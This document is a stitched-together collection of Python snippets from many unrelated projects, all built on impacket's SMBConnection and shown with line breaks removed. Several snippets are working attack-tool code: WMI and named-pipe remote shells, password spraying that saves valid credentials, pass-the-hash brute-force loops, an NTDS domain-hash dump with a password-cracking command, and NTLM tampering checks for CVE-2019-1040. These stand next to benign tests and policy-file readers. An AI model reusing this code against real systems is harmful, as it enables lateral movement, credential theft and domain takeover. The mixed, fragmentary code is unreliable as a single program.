def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): try: smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) except Exception as exc: LOG.debug("SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc) try: smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) except Exception as exc: LOG.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc) return None, None dialect = {SMB_DIALECT: "SMBv1", SMB2_DIALECT_002: "SMBv2.0", SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0") # we know this should work because the WMI connection worked try: smb.login(username, password, '', lm_hash, ntlm_hash) except Exception as exc: LOG.debug("Error while logging into %r using user: %s, password: '******', LM hash: %s, NTLM hash: %s: %s", host, username, password, lm_hash, ntlm_hash, exc) return None, dialect smb.setTimeout(timeout) return smb, dialect
def get_gpttmpl(self, gpttmpl_path): content_io = StringIO() gpttmpl_path_split = gpttmpl_path.split('\\') target = gpttmpl_path_split[2] share = gpttmpl_path_split[3] file_name = '\\'.join(gpttmpl_path_split[4:]) smb_connection = SMBConnection(remoteName=target, remoteHost=target) # TODO: kerberos login smb_connection.login(self._user, self._password, self._domain, self._lmhash, self._nthash) smb_connection.connectTree(share) smb_connection.getFile(share, file_name, content_io.write) try: content = codecs.decode(content_io.getvalue(), 'utf_16_le')[1:].replace('\r', '') except UnicodeDecodeError: content = content_io.getvalue().replace('\r', '') gpttmpl_final = GptTmpl(list()) for l in content.split('\n'): if l.startswith('['): section_name = l.strip('[]').replace(' ', '').lower() setattr(gpttmpl_final, section_name, Policy(list())) elif '=' in l: property_name, property_values = [x.strip() for x in l.split('=')] if ',' in property_values: property_values = property_values.split(',') setattr(getattr(gpttmpl_final, section_name), property_name, property_values) return gpttmpl_final
class Pipes(Thread): def __init__(self, transport, pipe, permissions, TGS=None, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.TGS = TGS self.daemon = True def connectPipe(self): try: lock.acquire() global dialect self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: print "[!] Something wen't wrong connecting the pipes(%s), try again" % self.__class__
def enum_host_info(self): try: smb_conn = SMBConnection(self.host, self.host, None) try: smb_conn.login('', '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.domain = smb_conn.getServerDomain() self.hostname = smb_conn.getServerName() self.logger.extra['hostname'] = self.hostname try: smb_conn.logoff() except: pass except Exception as e: logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e)) if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname
def run(self, addr): if self.__noOutput is False: try: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") except Exception as e: return e sys.stdout.flush() sys.exit(1) else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: global totalOutput totalOutput=str(e) #logging.error(str(e)) try: if smbConnection is not None: smbConnection.logoff() except: pass try: dcom.disconnect() except: pass sys.stdout.flush() return str(e)
class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, share, transport): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.transport = transport self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.transferClient.login(user, passwd, domain, lm, nt) def do_help(self, line): print """ lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') logging.info("Downloading %s\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception, e: logging.critical(str(e)) pass self.send_data('\r\n')
def connect_to_server(ip, credentials): """ Connects to server using given credentials :param ip: IP of server :param credentials: credentials to log in with :return: SMBConnection object representing the connection """ smb_client = SMBConnection(ip, ip) smb_client.login( credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) return smb_client
class RegHandler: def __init__(self, username, password, domain, options): self.__username = username self.__password = password self.__domain = domain self.__options = options self.__action = options.action.upper() self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__doKerberos = options.k self.__kdcHost = options.dc_ip self.__smbConnection = None self.__remoteOps = None # It's possible that this is defined somewhere, but I couldn't find where self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD', 5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'} if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def connect(self, remoteName, remoteHost): self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port)) if self.__doKerberos: self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__kdcHost) else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def run(self, remoteName, remoteHost): self.connect(remoteName, remoteHost) self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) try: self.__remoteOps.enableRegistry() except Exception, e: print str(e) logging.warning('Cannot check RemoteRegistry status. Hoping it is started...') logging.debug(str(e)) self.__remoteOps.connectWinReg() try: dce = self.__remoteOps.getRRP() if self.__action == 'QUERY': self.query(dce, self.__options.keyName) else: logging.error('Method %s not implemented yet!' % self.__action) except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.critical(str(e))
def getMachineName(self): if self.__kdcHost is not None: s = SMBConnection(self.__kdcHost, self.__kdcHost) else: s = SMBConnection(self.__domain, self.__domain) try: s.login('', '') except Exception: logging.debug('Error while anonymous logging into %s' % self.__domain) s.logoff() return s.getServerName()
def get_machine_name(args, domain): if args.dc_ip is not None: s = SMBConnection(args.dc_ip, args.dc_ip) else: s = SMBConnection(domain, domain) try: s.login('', '') except Exception: if s.getServerName() == '': raise Exception('Error while anonymous logging into %s' % domain) else: s.logoff() return s.getServerName()
def getMachineName(self): if self.__kdcHost is not None: s = SMBConnection(self.__kdcHost, self.__kdcHost) else: s = SMBConnection(self.__domain, self.__domain) try: s.login('', '') except Exception: logging.debug('Error while anonymous logging into %s' % self.__domain) s.logoff() return s.getServerName()
def connect(host, port, user, passwd, hash, domain="workgroup"): result = {} try: smb = SMBConnection(host, host, None, port, timeout=2) guest = False try: smb.login('', '') guest = True result.update({ 'auth': 'guest', }) except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass try: lmhash = '' nthash = '' if hash: lmhash, nthash = hash.split(':') if user and (passwd or lmhash or nthash): smb.login(user, passwd, domain, lmhash, nthash) if not guest: result.update({ 'auth': user, }) result.update({ 'os': smb.getServerOS(), 'name': smb.getServerName(), 'shares': [], }) for share, perm in _listShares(smb, passwd).iteritems(): result['shares'].append((share, perm)) smb.logoff() except SessionError as e: result['error'] = str(e) except Exception as e: result['error'] = str(e) except Exception as e: result['error'] = str(e) return result
class Pipes(Thread): def __init__(self, transport, pipe, permissions, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.daemon = True def connectPipe(self): try: lock.acquire() global dialect #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.server = SMBConnection( '*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid, self.pipe, self.permissions, creationOption=0x40, fileAttributes=0x80) self.server.setTimeout(1000000) except: logging.error( "Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
class DRSUAPIOps: def __init__(self, target, username, password): self.target = target self.username = username self.password = password def run(self): while True: try: self.__smbConnection = SMBConnection(remoteName=self.target, remoteHost=self.target) self.__smbConnection.login(self.username, self.password) self.__remoteOps = RemoteOperations(self.__smbConnection, False, None) enumerationContext = 0 status = STATUS_MORE_ENTRIES while status == STATUS_MORE_ENTRIES: resp = self.__remoteOps.getDomainUsers(enumerationContext) for user in resp['Buffer']['Buffer']: userName = user['Name'] #print('userName : %s' % userName) userSid = self.__remoteOps.ridToSid(user['RelativeId']) crackedName = self.__remoteOps.DRSCrackNames( drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, name=userSid.formatCanonical()) if crackedName['pmsgOut']['V1']['pResult'][ 'cItems'] == 1: if crackedName['pmsgOut']['V1']['pResult'][ 'rItems'][0]['status'] != 0: break userRecord = self.__remoteOps.DRSGetNCChanges( crackedName['pmsgOut']['V1']['pResult'] ['rItems'][0]['pName'][:-1]) # userRecord.dump() replyVersion = 'V%d' % userRecord['pdwOutVersion'] enumerationContext = resp['EnumerationContext'] status = resp['ErrorCode'] except Exception as e: if str(e).find('STATUS_PIPE_NOT_AVAILABLE') != -1: continue elif str(e).find('STATUS_PIPE_CLOSING') != -1: print('Server is restarting prolly now...') return raise e
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.__shell_type) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if smbConnection is not None: smbConnection.logoff() dcom.disconnect()
def get_session(address, target_ip="", username="", password="", lmhash="", nthash="", domain=""): try: smb_session = SMBConnection(address, target_ip) smb_session.login(username, password, domain, lmhash, nthash) return smb_session except Exception as e: logging.error("Connection error") return False
def copy_from(target, source_path, target_path, share="c$"): username, password, domain, nthash = target.creds lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee" try: smb = SMBConnection(remoteName='*SMBSERVER', remoteHost=target.target_ip, sess_port=target.target_port) smb.login(username, password, domain, lmhash, nthash) with open(target_path, 'wb') as f: smb.getFile(share, source_path.replace('/', '\\'), f.write) return True except Exception as e: print(str(e)) return False
def test_smbserver_login(self): """Test authentication using password and LM/NTHash login. """ server = self.get_smbserver() server.addCredential(self.username, 0, self.lmhash, self.nthash) self.start_smbserver(server) # Valid password login client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, self.password) client.close() # Valid hash login client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, '', lmhash=self.lmhash, nthash=self.nthash) client.close() # Invalid password login with self.assertRaises(SessionError): client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, 'SomeInvalidPassword') client.close() # Invalid username login with self.assertRaises(SessionError): client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login("InvalidUser", "", lmhash=self.lmhash, nthash=self.nthash) client.close() # Invalid hash login with self.assertRaises(SessionError): client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, "", lmhash=self.nthash, nthash=self.lmhash) client.close()
def login(self, ipaddress, port, user_passwd_pair_list): for user_passwd_pair in user_passwd_pair_list: try: fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout) except Exception as E: logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port)) return try: if "\\" in user_passwd_pair[0]: domain = user_passwd_pair[0].split("\\")[0] username = user_passwd_pair[0].split("\\")[1] else: domain = "" username = user_passwd_pair[0] if fp.login(username, user_passwd_pair[1], domain=domain): if fp.isGuestSession() == 0: if domain == "": log_success("SMB", ipaddress, port, user_passwd_pair) else: log_success("SMB", ipaddress, port, ["{}\\{}".format(domain, username), user_passwd_pair[1]]) except Exception as E: logger.debug('AuthenticationException: %s' % E) finally: fp.getSMBServer().get_socket().close()
def login_with_hash(self, ipaddress, port, hashes): user_hash_pair_list = [] for hash in hashes: user_hash_pair_list.append(hash.strip().split(",")) for user_hash_pair in user_hash_pair_list: try: fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout) except Exception as E: logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port)) return try: if fp.login(user_hash_pair[1], "", domain=user_hash_pair[0], lmhash=user_hash_pair[2].split(":")[0], nthash=user_hash_pair[2].split(":")[1]): if fp.isGuestSession() == 0: log_success("SMB", ipaddress, port, [ "{}/{}".format(user_hash_pair[0], user_hash_pair[1]), user_hash_pair[2] ]) except Exception as E: logger.debug('AuthenticationException: %s' % E) finally: fp.getSMBServer().get_socket().close()
def run(self, addr): smbConnection = SMBConnection(addr, addr) smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.debug("%sSMBv1 dialect used" % (debugBlue)) elif dialect == SMB2_DIALECT_002: logging.debug("%sSMBv2.0 dialect used" % (debugBlue)) elif dialect == SMB2_DIALECT_21: logging.debug("%sSMBv2.1 dialect used" % (debugBlue)) else: logging.debug("%sSMBv3.0 dialect used" % (debugBlue)) return smbConnection
def getNTDSInfo(user, password, domain, ip): print("[*] Trying to dump Domain users hashes...") conn = SMBConnection(ip, ip, None, 445) if conn.login(user, password, domain): print("[+] Successful SMB connection to the DC") r = RemoteOperations(conn, True) r.enableRegistry() bootkey = r.getBootKey() print("[*] Creating and parsing NTDS...") NTDSFileName = r.saveNTDS() NTDS = NTDSHashes(NTDSFileName, bootkey, isRemote=True, history=False, noLMHash=False, remoteOps=r, useVSSMethod=True, resumeSession=None, printUserStatus=False, outputFileName='DOMAIN_HASHES') print("[+] Success") print("[*] Dumping hashes from NTDS (could take a while)...") NTDS.dump() NTDS.finish() r.finish() conn.close() os.rename("DOMAIN_HASHES.ntds", "DOMAIN_HASHES.txt") os.remove("DOMAIN_HASHES.ntds.kerberos") if os.stat("DOMAIN_HASHES.ntds.cleartext").st_size == 0: os.remove("DOMAIN_HASHES.ntds.cleartext") else: print("[+] Cleartext passwords founds ! look in the file DOMAIN_HASHES.ntds.cleartext") print("[+] Successful dump of the users hashes in DOMAIN_HASHES.txt") print("You can use 'john --format=NT DOMAIN_HASHES.txt' to crack passwords and 'john --format=NT --show DOMAIN_HASHES.txt | cut -d: -f 1,2 > JOHN_RESULT.txt' when you finished")
def _get_netfqdn(self): try: smb = SMBConnection(self._domain_controller, self._domain_controller) except socket.error: return str() smb.login(self._user, self._password, domain=self._domain, lmhash=self._lmhash, nthash=self._nthash) fqdn = smb.getServerDNSDomainName() smb.logoff() return fqdn
def login(username, password, domain, lmhash, nthash, aesKey, dc_ip, target_ip, port): try: smbClient = SMBConnection(target_ip, target_ip, sess_port=int(port)) if aesKey: smbClient.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, dc_ip) else: smbClient.login(username, password, domain, lmhash, nthash) print("[+]Success %s\%s" % (domain, username)) SMBConnection.close except smbconnection.SessionError as e: return except Exception as e: print(e) return
def connect_to_server(ip, credentials): """ Connects to server using given credentials :param ip: IP of server :param credentials: credentials to log in with :return: SMBConnection object representing the connection """ smb_client = SMBConnection(ip, ip) smb_client.login( credentials["username"], credentials["password"], "", credentials["lm_hash"], credentials["ntlm_hash"], ) return smb_client
def validate_creds(self, remote_host): try: smbClient = SMBConnection( remote_host, remote_host, sess_port=int( self.__port)) #, preferredDialect=SMB2_DIALECT_21 smbClient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) except SessionError as exc: if 'STATUS_LOGON_FAILURE' in str(exc): logging.error( 'Error validating credentials - make sure the supplied credentials are correct' ) else: logging.warning( 'Unexpected Exception while validating credentials: %s', exc) raise KeyboardInterrupt
def test_server(self, ip=None, port=None, username=None, password=None): try: sleep(2) _ip = ip or self.ip _port = port or self.port _username = username or self.username _password = password or self.password smb_client = SMBConnection(_ip, _ip, sess_port=_port) smb_client.login(_username, _password) except Exception as e: self.logs.error([ "errors", { 'server': 'smb_server', 'error': 'write', "type": "error -> " + repr(e) } ])
def check(self, remote_host): # Validate credentials first if not self.creds_validated: self.validate_creds(remote_host) self.creds_validated = True # Now start scanner try: smbClient = SMBConnection( remote_host, remote_host, sess_port=int( self.__port)) #, preferredDialect=SMB2_DIALECT_21 except: return try: # Both cve-2019-1019 and cve-2019-1040 were part of the same KB and can be checked # by using cve-2019-1040 can logic if self.__vuln in ["CVE-2019-1019", "CVE-2019-1040"]: ntlm.computeResponseNTLMv2 = mod_cve20191040_computeResponseNTLMv2 if self.__vuln == "CVE-2019-1166": ntlm.computeResponseNTLMv2 = mod_cve20191166_computeResponseNTLMv2 if self.__vuln == "CVE-2019-1338": ntlm.computeResponseNTLMv2 = mod_cve20191338_computeResponseNTLMv2 smbClient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) logging.info( 'Target %s is VULNERABLE to %s (authentication was accepted)', remote_host, self.__vuln) except SessionError as exc: if 'STATUS_INVALID_PARAMETER' in str(exc) and self.__vuln in [ "CVE-2019-1019", "CVE-2019-1040", "CVE-2019-1166" ]: logging.info( 'Target %s is not vulnerable to %s (authentication was rejected)', remote_host, self.__vuln) elif 'STATUS_LOGON_FAILURE' in str( exc) and self.__vuln == "CVE-2019-1338": logging.info( 'Target %s is not vulnerable to %s (authentication was rejected)', remote_host, self.__vuln) else: logging.warning( 'Unexpected Exception while authenticating to %s: %s', remote_host, exc) smbClient.close()
def create_smb_connection(self, force=False): if self._smb_conn and not force: return self._smb_conn key = None if self._use_cache and not force: key = self._cache_key_entry() if key in SMB_SESSIONS_CACHE: self._smb_conn = SMB_SESSIONS_CACHE[key] self._cached = True return self._smb_conn try: smb = SMBConnection( self.host, self.host, None, self.port, timeout=self.timeout ) if self.kerberos: smb.kerberos_login( self.user, self.password, self.domain, self.lm, self.nt, self.aes, self.KDC, self.TGT, self.TGS) else: smb.login(self.user, self.password, self.domain, self.lm, self.nt) self.valid = True add_cred( self.user, self.password, self.domain, 'smb', self.host, None, self.port, ntlm=self.ntlm, aes=self.aes, tgt=self.TGT, tgs=self.TGS, kdc=self.KDC ) if not force: self._smb_conn = smb if key is not None and not force: SMB_SESSIONS_CACHE[key] = self._smb_conn return smb except SessionError, e: raise PsExecException(e.getErrorString()[0])
def new_smb_connection(host, username, password, lm_hash="", ntlm_hash="", timeout=60): try: smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) except Exception as exc: LOG.debug( "SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc) try: smb = SMBConnection("*SMBSERVER", host.ip_addr, sess_port=139) except Exception as exc: LOG.debug( "SMB connection to %r on port 139 failed as well (%s)", host, exc) return None, None dialect = { SMB_DIALECT: "SMBv1", SMB2_DIALECT_002: "SMBv2.0", SMB2_DIALECT_21: "SMBv2.1", }.get(smb.getDialect(), "SMBv3.0") # we know this should work because the WMI connection worked try: smb.login(username, password, "", lm_hash, ntlm_hash) except Exception as exc: LOG.debug( "Error while logging into %r using user: %s, password (SHA-512): '%s', " "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s", host, username, Configuration.hash_sensitive_data(password), Configuration.hash_sensitive_data(lm_hash), Configuration.hash_sensitive_data(ntlm_hash), exc, ) return None, dialect smb.setTimeout(timeout) return smb, dialect
def getMachineName(self): if self.__kdcHost is not None and self.__targetDomain == self.__domain: s = SMBConnection(self.__kdcHost, self.__kdcHost) else: s = SMBConnection(self.__targetDomain, self.__targetDomain) try: s.login('', '') except Exception: if s.getServerName() == '': raise 'Error while anonymous logging into %s' else: try: s.logoff() except Exception: # We don't care about exceptions here as we already have the required # information. This also works around the current SMB3 bug pass return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
def getMachineName(self): if self.__kdcHost is not None and self.__targetDomain == self.__domain: s = SMBConnection(self.__kdcHost, self.__kdcHost) else: s = SMBConnection(self.__targetDomain, self.__targetDomain) try: s.login('', '') except Exception: if s.getServerName() == '': raise Exception('Error while anonymous logging into %s') else: try: s.logoff() except Exception: # We don't care about exceptions here as we already have the required # information. This also works around the current SMB3 bug pass return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
def get_gpttmpl(self, gpttmpl_path): content_io = BytesIO() gpttmpl_path_split = gpttmpl_path.split('\\') target = self._domain_controller share = gpttmpl_path_split[3] file_name = '\\'.join(gpttmpl_path_split[4:]) smb_connection = SMBConnection(remoteName=target, remoteHost=target) if self._do_kerberos: smb_connection.kerberosLogin(self._user, self._password, self._domain, self._lmhash, self._nthash) else: smb_connection.login(self._user, self._password, self._domain, self._lmhash, self._nthash) self._logger.debug('Get File: Share = {0}, file_name ={1}'.format( share, file_name)) smb_connection.connectTree(share) smb_connection.getFile(share, file_name, content_io.write) try: content = content_io.getvalue().decode('utf-16le')[1:].replace( '\r', '') except UnicodeDecodeError: self._logger.warning('Unicode error: trying utf-8') content = content_io.getvalue().decode('utf-8').replace('\r', '') gpttmpl_final = GptTmpl(list()) for l in content.split('\n'): if l.startswith('['): section_name = l.strip('[]').replace(' ', '').lower() gpttmpl_final._attributes_dict[section_name] = Policy(list()) elif '=' in l: property_name, property_values = [ x.strip() for x in l.split('=') ] if ',' in property_values: property_values = property_values.split(',') gpttmpl_final._attributes_dict[section_name]._attributes_dict[ property_name] = property_values return gpttmpl_final
def check(self, remote_host): # Validate credentials first if not self.creds_validated: self.validate_creds(remote_host) self.creds_validated = True # Now start scanner smbClient = SMBConnection(remote_host, remote_host, sess_port=int(self.__port)) #, preferredDialect=SMB2_DIALECT_21 ntlm.computeResponseNTLMv2 = mod_computeResponseNTLMv2 try: smbClient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) logging.info('Target %s is VULNERABLE to CVE-2019-1040 (authentication was accepted)', remote_host) except SessionError as exc: if 'STATUS_INVALID_PARAMETER' in str(exc): logging.info('Target %s is not vulnerable to CVE-2019-1040 (authentication was rejected)', remote_host) else: logging.warning('Unexpected Exception while authenticating to %s: %s', remote_host, exc) smbClient.close()
def login(username, password, domain, host, verbose=False): # safe way to kill login functionality once exceptions are made if shutdown: return None desc = "" with open(spray_logs, "a+") as sf: try: smbclient = SMBConnection(host, host, sess_port=445) if domain: conn = smbclient.login(username, password, domain) # if domain isn't supplied get it from the server else: conn = smbclient.login(username, password, domain) domain = smbclient.getServerDNSDomainName() if conn: message = get_pretty_time("success") + "{}\{}:{} ".format( domain, username, password) + colored( "(Successful!)", "green") with open(valid_creds, "a+") as f: f.write(domain + "\\" + username + ":" + password + "\r\n") smbclient.close() # impacket smb session error handling except SessionError as e: error, desc = e.getErrorString() if not domain: domain = smbclient.getServerDNSDomainName() message = "{}\{}:{} ".format(domain, username, password) if error in smb_error_status: message = get_pretty_time("warn") + message + colored( error, "yellow") elif error == smb_error_locked: message = get_pretty_time("danger") + message + colored( error, "red") print(message) raise Locked(username) else: message = get_pretty_time() + message + error smbclient.close() print(message) if verbose and desc: print(desc) sf.write(message + "\r\n")
class test_login(Thread): def __init__(self, target): Thread.__init__(self) self.__target = target self.__dstip = self.__target.get_host() self.__dstport = self.__target.get_port() self.__target_id = self.__target.get_identity() self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip self.__srcfile = conf.name self.__timeout = 3 def connect(self): self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile, self.__dstport, self.__timeout) def login(self, user, password, lmhash, nthash, domain): self.smb.login(user, password, domain, lmhash, nthash) def logoff(self): self.smb.logoff() def check_admin(self): try: self.__trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename='svcctl', smb_connection=self.smb, remote_host=self.__dstip) self.__trans.connect() self.__dce = self.__trans.get_dce_rpc() self.__dce.bind(scmr.MSRPC_UUID_SCMR) self.__resp = scmr.hROpenSCManagerW( self.__dce, dwDesiredAccess=scmr.SC_MANAGER_CREATE_SERVICE) self.__mgr_handle = self.__resp['lpScHandle'] scmr.hRCloseServiceHandle(self.__dce, self.__mgr_handle) self.__dce.disconnect() return True except rpcrt.DCERPCException, e: pass except Exception, e: logger.error('Check admin error: %s' % str(e))
def get_gpttmpl(self, gpttmpl_path): content_io = StringIO() gpttmpl_path_split = gpttmpl_path.split('\\') target = self._domain_controller share = gpttmpl_path_split[3] file_name = '\\'.join(gpttmpl_path_split[4:]) smb_connection = SMBConnection(remoteName=target, remoteHost=target) # TODO: kerberos login smb_connection.login(self._user, self._password, self._domain, self._lmhash, self._nthash) smb_connection.connectTree(share) smb_connection.getFile(share, file_name, content_io.write) try: content = codecs.decode(content_io.getvalue(), 'utf_16_le')[1:].replace('\r', '') except UnicodeDecodeError: content = content_io.getvalue().replace('\r', '') gpttmpl_final = GptTmpl(list()) for l in content.split('\n'): if l.startswith('['): section_name = l.strip('[]').replace(' ', '').lower() setattr(gpttmpl_final, section_name, Policy(list())) elif '=' in l: property_name, property_values = [ x.strip() for x in l.split('=') ] if ',' in property_values: property_values = property_values.split(',') try: setattr(getattr(gpttmpl_final, section_name), property_name, property_values) except UnicodeEncodeError: property_name = property_name.encode('utf-8') setattr(getattr(gpttmpl_final, section_name), property_name, property_values) return gpttmpl_final
